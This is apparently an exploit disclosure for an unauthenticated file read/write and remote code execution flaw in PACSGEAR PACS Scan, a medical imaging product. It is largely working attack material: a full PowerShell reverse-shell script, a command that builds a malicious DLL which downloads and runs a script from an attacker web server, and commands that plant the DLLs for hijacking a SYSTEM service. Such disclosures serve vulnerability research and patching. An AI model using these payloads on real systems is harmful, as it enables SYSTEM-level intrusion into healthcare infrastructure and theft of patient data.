1. Exploit Title: PACSGEAR PACS Scan - Unauthenticated Arbitrary File Read/Write + RCE via .NET Remoting
CVE ID: CVE-2026-58126
Vendor Homepage: https://www.hyland.com/en/solutions/products/pacsgear
PACSGear PACS Scan exposes on all interfaces a .NET Remoting service on port 22222 registered by the executable file PGImageExchQueue.exe. The RegisterWellKnownServiceType function is used to register the .NET Remoting TCP channel for the service configured. The registered ObjectURI is PGImageExchange. By modifying the Proof of Concept of an object unmarshalling technique discovered by researchers of Code-White, implementing the .NET WebClient class method to read/write internal files and using a custom channel sink to force the connection to the correct host and port, arbitrary file read can be achieved to leak the contents of internal system files. This exploitation only requires the knowledge of a valid ObjectURI, which is default across all instances and does not require authentication.
To achieve RCE, it was observed that the executable PGImageExchangeQueueSvc.exe, running as NT Authority\SYSTEM, attempts to load multiple missing dynamic-link libraries file system paths (e.g. CRYPTSP.DLL) when started, resulting in DLL hijacking oportunities when combined with the .NET Remoting AFR primitive.
.\RemotingClient_MBRO_Lazy.exe tcp://<host>:22222/PGImageExchange C:\Windows\win.ini
Snippet of the custom channel fix code:
internal class ChannelUriFixingClientChannelSinkProvider : IClientChannelSinkProvider
{
private readonly string publicHost;
private readonly int publicPort;
public IClientChannelSinkProvider Next { get; set; }
public ChannelUriFixingClientChannelSinkProvider(Uri objUrl)
{
if (objUrl == null) throw new ArgumentNullException(nameof(objUrl));
this.publicHost = objUrl.Host;
this.publicPort = objUrl.Port;
}
}The following code is the PowerShell TCP Reverse Connection script used for code execution.
$IPAddress = '192.168.179.136'
$Port = '8443'
# Reverse Shell - v4.0 Compatible
$RSC = New-Object System.Net.Sockets.TCPClient($IPAddress, $Port)
$Strm = $RSC.GetStream()
[byte[]]$DB = 0..65535 | % {0}
# StringWriter for output buffering
$OB = New-Object System.IO.StringWriter
while (($i = $Strm.Read($DB, 0, $DB.Length)) -ne 0) {
Try {
# Using the static Encoding property (v4.0 safe)
$Comm = [System.Text.Encoding]::ASCII.GetString($DB, 0, $i)
$CommOut = (iex $Comm *>&1 | Out-String)
} Catch {
$CommOut = "$($Error[0])`n"
}
$OB.Write($CommOut)
$ProStr = $OB.ToString() + 'PS ' + (PWD).Path + '> '
$ProBts = [System.Text.Encoding]::ASCII.GetBytes($ProStr)
$Strm.Write($ProBts, 0, $ProBts.Length)
$Strm.Flush()
# Clear the buffer for the next command
$OB.GetStringBuilder().Clear() | Out-Null
}
$Strm.Close()
$RSC.Close()The open-source tool DlHell from Synacktiv, which supports local and remote DCOM-based Windows DLL proxying, was slightly modified to compile for 32-bit architectures. A PowerShell reverse TCP connection script was developed and exported as a malicious DLL payload for use named test.dll, which will get triggered by CRYPTST.DLL upon a service/system restart. Even though from Linux, it was not fully possible to compile the dynamic-link libraries, DlHell still generates the necessary files and definitions to repair the export tables from Windows.
python3 DLHell32.py -t template-32.tpe -c "powershell.exe -ExecutionPolicy Bypass -c \\\"IEX (New-Object Net.WebClient).DownloadString('http://192.168.179.130/rs.ps1')\\\"" -local-lib 'lib/cryptsp.dll' -local-target test.dllThe following Windows command outputs an object file intended for later linking in a Windows build.
cl /nologo /c /01 /GS- /DWIN32 cryptsp.cpp
The following Windows command links the compiled object file (cryptsp.obj) into a DLL.
link /nologo /DLL /DEF:cryptsp.def cryptsp.obj /OUT:cryptsp.dll
The arbitrary file write primitive is used to upload the malicious generated dynamic-link libraries using the modified version of RemotingClient_MBRO technique.
.\RemotingClient_MBRO.exe --put tcp://<host>:22222/PGImageExchange .\cryptsp.dll "C:\Program Files (x86)\Pacsgear\Pacsgear Image Exchange Service\cryptsp.dll"
.\RemotingClient_MBRO.exe --put tcp://<host>:22222/PGImageExchange .\test.dll "C:\Program Files (x86)\Pacsgear\Pacsgear Image Exchange Service\test.dll"
Exploitation requires a restart of the affected service. Based on the privilege level of the account, this may be accomplished by directly restarting the service, rebooting the system, or relying on an automatic restart triggered by a service failure. These tasks cannot be performed by a low-privileged user.
After restarting the PGImageExchangeQueueSvc.exe service, which attempts to load the dynamic-link library CRYPTST.DLL, test.dll is triggered, causing the remote host to connect to an attacker-controlled web server on port 80 and execute the PowerShell reverse connection script.
The reverse connection is established and runs as the privileged NT Authority\SYSTEM account.